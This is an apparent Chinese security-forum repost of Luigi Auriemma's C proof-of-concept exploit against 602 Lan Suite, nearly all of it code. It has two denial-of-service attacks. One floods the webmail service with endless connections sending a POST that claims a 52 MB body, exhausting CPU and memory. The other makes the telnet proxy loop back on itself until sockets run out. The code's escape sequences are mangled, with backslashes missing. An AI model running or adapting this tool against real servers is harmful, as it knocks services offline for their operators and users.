发新话题
打印

Test exploit for 602 Lan Suite versions 2004.0.04.0909-

Test exploit for 602 Lan Suite versions 2004.0.04.0909-

文章作者:Luigi Auriemma
复制内容到剪贴板
代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
   #include <winsock.h>
   #include "winerr.h"

   #define close  closesocket
#else
   #include <unistd.h>
   #include <sys/socket.h>
   #include <sys/types.h>
   #include <arpa/inet.h>
   #include <netinet/in.h>
   #include <netdb.h>
#endif



#define VER    "0.1"
#define BUFFSZ  2048
#define EATRAM  52428800
#define MEM    "POST /mail HTTP/1.1rn"
           "Host: localhostrn"
           "Content-Type: application/x-www-form-urlencodedrn"
           "Content-Length: %drn"
           "rn"
           "none"



int timeout(int sock, int secs);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
   int    sd,
        len,
        pcklen,
        attack;
   u_short port;
   u_char  buff[BUFFSZ],
        pck[BUFFSZ];
   struct  sockaddr_in peer;


   setbuf(stdout, NULL);

   fputs("n"
      "602 Lan Suite <= 2004.0.04.0909 resources consumption "VER"n"
      "by Luigi Auriemman"
      "e-mail: [email]aluigi@altervista.orgn[/email]"
      "web:    [url]http://aluigi.altervista.orgn[/url]"
      "n", stdout);

   if(argc < 4) {
      printf("n"
        "Usage: %s <attack> <server> <port>n"
        "n"
        "Attack:n"
        "1 = CPU 100%% and memory eating through webmail service (m602cl3w): will ben"
        "    made infinite connections eating %d megabytes of RAM each time, defaultn"
        "    port of this service is 80n"
        "2 = sockets consumption through telnet proxy loop, default port is 23n"
        "n", argv[0], EATRAM >> 20);
      exit(1);
   }

#ifdef WIN32
   WSADATA    wsadata;
   WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

   port            = atoi(argv[3]);
   peer.sin_addr.s_addr = resolv(argv[2]);
   peer.sin_port      = htons(port);
   peer.sin_family     = AF_INET;

   printf("- target  %s:%hun",
      inet_ntoa(peer.sin_addr), port);

   attack = atoi(argv[1]);
   if(attack == 1) {
      pcklen = sprintf(pck, MEM, EATRAM);
      printf(
        "- CPU and memory consumption attack: note that the RAM on the server willn"
        "  start to be eaten after about 15 seconds, so wait and keep sysmon or othern"
        "  resource monitors opened on the server to watch the real effectsn"
        "  Will be eaten %d bytes of memory for each connectionn",
        EATRAM >> 20);

      for(;;) {
        sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(sd < 0) std_err();

        fputs("- connection: ", stdout);
        if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();

        if(send(sd, pck, pcklen, 0)
          < 0) std_err();

        if(timeout(sd, 1) < 0) {
           fputs("okn", stdout);
        } else {
           fputs("rejectedn", stdout);
        }

        close(sd);
      }

   } else if(attack == 2) {
      pcklen = sprintf(pck, "%s:%drn", inet_ntoa(peer.sin_addr), port);
      fputs(
        "- sockets consumption attack: when you will see no new output on the screenn"
        "  means the server has finished all its available socketsn",
        stdout);

      sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
      if(sd < 0) std_err();
      if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
       < 0) std_err();
      for(;;) {
        if(send(sd, pck, pcklen, 0)
          < 0) std_err();

        if(timeout(sd, 3) < 0) {
           fputs("nServer seems vulnerable!n", stdout);
        }

        len = recv(sd, buff, BUFFSZ, 0);
        if(len < 0) std_err();
        if(!len) break;
        buff[len] = 0x00;
        printf("%sn", buff);
      }
      close(sd);
      fputs("nServer doesn&#39;t seem vulnerablenn", stdout);

   } else {
      fputs("nError: you must choose an attack, 1 or 2nn", stdout);
   }

   return(0);
}



int timeout(int sock, int secs) {
   struct  timeval tout;
   fd_set  fd_read;
   int    err;

   tout.tv_sec = secs;
   tout.tv_usec = 0;
   FD_ZERO(&fd_read);
   FD_SET(sock, &fd_read);
   err = select(sock + 1, &fd_read, NULL, NULL, &tout);
   if(err < 0) std_err();
   if(!err) return(-1);
   return(0);
}



u_long resolv(char *host) {
   struct  hostent *hp;
   u_long  host_ip;

   host_ip = inet_addr(host);
   if(host_ip == INADDR_NONE) {
      hp = gethostbyname(host);
      if(!hp) {
        printf("nError: Unable to resolve hostname (%s)n", host);
        exit(1);
      } else host_ip = *(u_long *)(hp->h_addr);
   }
   return(host_ip);
}



#ifndef WIN32
   void std_err(void) {
      perror("nError");
      exit(1);
   }
#endif
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题